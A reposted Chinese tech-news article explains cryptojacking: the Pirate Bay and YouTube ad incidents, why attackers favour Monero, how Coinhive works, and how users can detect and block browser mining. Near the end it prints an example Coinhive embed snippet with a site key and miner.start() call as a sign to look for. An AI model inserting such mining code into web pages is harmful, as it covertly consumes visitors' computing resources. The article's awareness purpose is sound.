本文转载自硅星人(guixingren123)
2017 年 9 月,有人在盗版下载种子站“海盗湾”(The Pirate Bay) 上发现了数字加密货币的挖矿程序。当用户访问海盗湾的网页时,他们的电脑实际上成为了矿机,挖掘着一种名叫 Monero 的数字货币。
此事发酵后,海盗湾的管理员出面认了罪。他们指出,网站需要生存,他们在“测试”这种新的收入方式,因为网站上堆积如山的广告已经备受诟病。
这种劫持事件,在过去一年里曾经多次发生。遗憾的是,并非每次都有人出来认错。
就在这周,有人报告称,居然在 YouTube 的网页上发现了同样的挖矿程序……这次问题出在了广告上。在 YouTube 网页的右上角位置,视频播放控件的右侧、推荐视频的上方,展示的是来自于 Google DoubleClick 广告平台的广告。涉事的广告上没有内容,一片空白,显得十分蹊跷。
调查后研究人员发现,这个广告里的 JavaScript 代码里,包含了一段挖矿脚本。
至于这次 YouTube 事件里,挖的又是哪款数字货币呢?很巧,又是 Monero。
这种劫持技术,被安全专家称为:
Cryptojacking
首先我们来了解一下,Cryptojacking 到底是什么东西。
Cryptojacking = Cryptocurrency(数字加密货币)+ Hijacking(劫持)
它的字面意义是劫持数字货币,实际意义则是劫持用户的设备,利用 CPU 或其他处理器进行挖矿,因而可以叫做:挖矿劫持。
它的定义:在受害者不知情的前提下,使用受害者的计算设备来挖取数字货币。
很多流行的数字货币,比如比特币 (BTC)、以太坊 (ETH) 等,在市场上都有着较高的价值。但它们本质上只是符合某种特定数学公式或规律的字段,发现它需要使用计算资源,也就有了所谓的“挖矿”。如果购买市面上已经挖出的数字货币需要付钱,挖出新的数字货币则可以称得上凭空印钞。
但挖矿并不是一件容易的事。按照原始设计,符合某个特定规律的字段数量是有限的,意味着可以挖出的数字货币也是有限的。谁有更多的算力,囤积了更多的 CPU、GPU,谁才能更快挖出更多数字货币。而问题在于,不是每个人都拥有一座位于偏远山区享受廉价电费的“矿场”。
这也是为什么一些别有用心之人想出了挖矿劫持这个主意:让挖矿变成一个众包的任务,用网页偷跑挖矿程序,每个中招的人都贡献一点 CPU,不就成了自己的矿场。
Cryptojacking 能够实现的原因在于:它可能只是一段,一行或几行 JavaScript 代码。
而几乎所有的网站网页都有 JavaScript 代码,它们在你打开网页后自动静默运行,没有提示,不需要安装,更不需要你的同意。
一旦中招,普通的用户通常很难察觉——除非你平时一直开着任务管理器,发现 CPU 占用率突然升高,或者你的电脑有风扇,突然开始狂转,才可能发现蹊跷。
应用内劫持也是一种挖矿劫持方法,包括并不限于桌面软件和手机应用。比如,有研究者发现,在 Google Play 上有不少下载量过百万的 App 内包含挖矿劫持。
由于 JavaScript 的通用以及静默运行的特性,浏览器内挖矿劫持是目前最流行的挖矿劫持方式。2017 年 11 月,安全研究员 Troy Mursch 分析了海量网站,发现全网已经有超过 30,000 个网站内已经被植入了挖矿劫持代码——包括网站本身被黑客劫持(像 YouTube),以及网站主有意为之(像海盗湾)。
如果你也发现了类似的网站,而且是你经常访问的网站——请考虑删除你的用户信息。因为 de Groot 还发现,这些网站中有八成本身就含有其他的恶意代码/软件,可能窃取用户的付款信息。
了解了 Cryptojacking 的本质后,我们接下来分析:谁是挖矿劫持的幕后黑手?
硅星人(微信号:guixingren123)统计,包括海盗湾、YouTube 等在内的几次比较知名的挖矿劫持事件,涉事的数字货币都是 Monero (XMR)。
根据其网站,Monero(缩写 XMR)是一种安全、隐私和无法追踪的数字加密货币,开源,并且任何人都可以获取和使用。
按照美元对价计算的市值,XMR 在所有数字货币中排名第 13。本周,暗网领先的电商网站 Dream Market 已经全面启用 XMR 作为推荐的支付方式。其网站还提到,通过 XMR 进行的交易都将完全保密,外界无法查看。正是由于隐私和无法追踪的特性,XMR 才备受挖矿劫持者的青睐。
看完了数字货币,我们再来看实现路径。
安全研究员指出,在绝大多数挖矿劫持事件中,都能发现来自 Coinhive 的代码。
如果你一定要给 Coinhive 一个中立的、技术的定义:它是一个分布式挖矿服务的供应商。但大部分计算机安全人士都认为 Coinhive 是一种恶意软件 (malware)。
计安分析机构 Trend Micro 在去年 11 月将 Coinhive 评为全球第六大恶意软件。发生在去年 9 月的海盗湾事件,正值 Coinhive 正式推出第一代分布式数字货币挖掘服务(以下简称 Coinhive),也成为了它的成名之作。
然而最初,Coinhive 的开发者声称的作用,却是为网站主创收。网页中植入 Coinhive 代码,访客打开网页后,每秒可以进行 20 或更多次哈希计算。越多访客访问网页,挖到的 XMR 越多,为网站主带来更多的收入,取代在线广告存在的地位。
Coinhive 的网站上明确写下了一些文字,简单来说:如果植入的只是个人网站,每天流量极小的话,那么为网站主带来的收入只会是微乎其微的,网站必须有“可观”的用户量才会产生靠谱的收入;另外,这些植入了脚本的网页,在用户的浏览器中打开时间越长,挖矿的总体效果越好。
脑筋活络的黑客盯上 YouTube 的原因也正是在此:YouTube 每天都有着数以亿计的访问量,且一个视频时长几分钟到数十分钟。YouTube 用户停留在网页上的时间,远比用户浏览一个电商产品页面或者新闻网站、博客页面要长,挖矿的效果要好得多。
在这起事件中,广告中的 JavaScript 代码植入了 Coinhive 挖矿指令,这些广告被喂给了日本、法国、意大利、西班牙和台湾等国家和地区的用户,尽管不是全平台,而且不是这些国家所有用户都有机会看到,但访问量仍十分惊人。
相信黑客做过计算,最后通过挖矿得到的收入,能够弥补投放这些广告的支出……抑或他只是想玩票,试一下这样做的可行性。挖矿得出的 XMR,Coinhive 抽三成,网站主得七成。据估算,如果网站有 10-20 个“活跃用户”,不停地挖一个月,网站主的月收入也才 0.3 个 XMR,或约 100 美元。
总的来说,通过植入挖矿劫持代码营收,对于网站主来说风险高,收益也没想象的那么多。小网站主赚不到钱,大网站主做了一旦被发现面临着信任破产用户流失,不是一件经济的事。独立开发者 Maxence Cornet 曾经做过一个测试,一个日均 1000 独立访客,每人每 session 50 秒左右的网站,在 60 个小时内产生了 0.00947 个 XMR,折合每天 36 美分,连一个汉堡都买不了。
但对于 Coinhive 来说,每个网站主的每个网页都可以抽三成,如果真的有 30,000 个网站,甚至更多的网站的海量网页在挖矿,为 Coinhive 开发者带来的收入倒是十分可观。
也就是说,挖矿劫持整件事,压根和为用户创收没有关系,更像是 Coinhive 编造,伪装在奖励网站主的外衣下,实际上动用数万个奴隶主从更多奴隶的身上赚钱的谎言。
安全研究员 Troy Mursch 指出,Coinhive 已经成为了网络犯罪分子的最新收入来源,“我觉得 Coinhive 当真是个挺不错的主义。它本来应该是一种网站营利的新方式。但现在,我们可以看到它已经被滥用了。这就是恶意软件。”
如果你关注数字货币和区块链,可能经常访问国内外相关的交易所、资讯新闻站、新币发行网站等等。事实上,身为所谓的“币圈”、“链圈”人士的你,正是挖矿劫持最有可能的潜在受害者。
既然挖矿劫持是一件坏事,既然 Coinhive 是一款恶意软件,接下来的问题很显然:我们该怎样防范它?
硅星人为你带来以下几种方法:
01 风扇狂转
风扇转速暴增是 CPU 利用率提高的一个表象。如果你的风扇突然狂转,可以继续↓
02 查看 CPU 利用率
观察 CPU 占用是发现潜在挖矿劫持最容易的方法。在 PC 上打开任务管理器,点击性能;在 Mac 上打开自带的活动监视器 (Activity Tracker),就可以看到 CPU 占用情况了。
如果某个浏览器/浏览器标签占用了大量 CPU,而你清楚没有打开一个很重型的网页,那么你可能中招了。但有的脚本不会将 CPU 推到太高,比如{throttle: 0.5}
,其中 0.5 即为 CPU 占用率,此时观察就不管用了。
如果你不确定是否遭遇了挖矿劫持,请继续下一步检查↓
03 查找相应代码
采用 Coinhive 服务进行挖矿劫持的网页,会留下清晰的脚印。如果在一个正常的网站的网页里找到了 Coinhive 的字样,这个网站八成有鬼。
代码可能长得像下面这样:
<script src=”https://coin-hive.com/lib/coinhive.min.js”> </script> <script> var miner = new CoinHive.Anonymous (‘B4ShXfNHJy3nEDclHBuc5i2bKJ3Sok8P’); miner.start (); </script>
你也可能会遇到脚本来源不是 Coinhive 的情况,所以也可以观察会不会有
B4ShXfNHJy3nEDclHBuc5i2bKJ3Sok8P
类似这么一段字段出现。这就是钱包的地址了。
当然,也不是所有做了挖矿劫持得网站都是坏人。有些良心尚存的网站会弹出明显的提示,告诉你网站植入了代码,问你是否同意,如果不同意即不执行,如下:
一旦你确定了挖矿劫持的存在,你可以选择拒绝执行,或者不再继续访问这个网站。但如果你想要确保今后不会再中招,可以↓
04 安装挖矿劫持隔离插件
主流浏览器如 Chrome、Firefox 的插件平台上都已经有了隔离器,如 No Coin、minerBlock 等。这些插件可以屏蔽 Coinhive 等目前已知的挖矿脚本来源的域名,理论上不影响你所浏览网页的其他功能。
05 时刻保持警惕
自从首个挖矿劫持脚本出现,已经有很多网站沦陷了,其中不乏知名网站和大公司的官网。除了海盗湾,还有星巴克 (Starbucks.com)、无限制格斗 (UFC.com) 等,就连 YouTube 都因为 Google 广告平台的漏洞而失守。
你需要保持警惕,因为任何一个网站都可能被利用。